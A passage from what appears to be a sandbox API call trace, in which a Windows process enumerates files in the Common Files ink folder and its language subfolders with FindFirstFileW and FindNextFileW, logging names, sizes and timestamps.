ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0136.248] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0136.248] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0136.248] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0136.248] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0136.248] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0136.248] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ec5f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7bf3d600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0136.248] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0136.248] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0136.248] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0136.249] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0136.249] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="join.avi", cAlternateFileName="")) returned 1 [0136.249] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0136.249] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0136.249] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0136.249] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0136.249] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0136.249] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="split.avi", cAlternateFileName="")) returned 1 [0136.249] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0136.249] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TabTip.exe.mui", cAlternateFileName="")) returned 1 [0136.249] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0136.249] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.250] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0136.250] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0136.250] FindClose (in: hFindFile=0x69b148 | out: hFindFile=0x69b148) returned 1 [0136.252] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.252] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0136.252] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69adc8 [0136.253] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.254] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.254] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.254] FindClose (in: hFindFile=0x69adc8 | out: hFindFile=0x69adc8) returned 1 [0136.254] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.254] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0136.254] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b148 [0136.254] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.254] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.254] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.255] FindClose (in: hFindFile=0x69b148 | out: hFindFile=0x69b148) returned 1 [0136.255] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.255] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0136.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b208 [0136.255] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.255] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.255] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.255] FindClose (in: hFindFile=0x69b208 | out: hFindFile=0x69b208) returned 1 [0136.255] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.255] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0136.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b148 [0136.255] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.255] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0136.256] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f08c | out: lpFindFileData=0x348f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0136.256] FindClose (in: hFindFile=0x69b148 | out: hFindFile=0x69b148) returned 1 [0136.256] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.256] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0136.256] FindNextFileW (in: hFindFile=0x69ae08, lpFindFileData=0x348f308 | out: 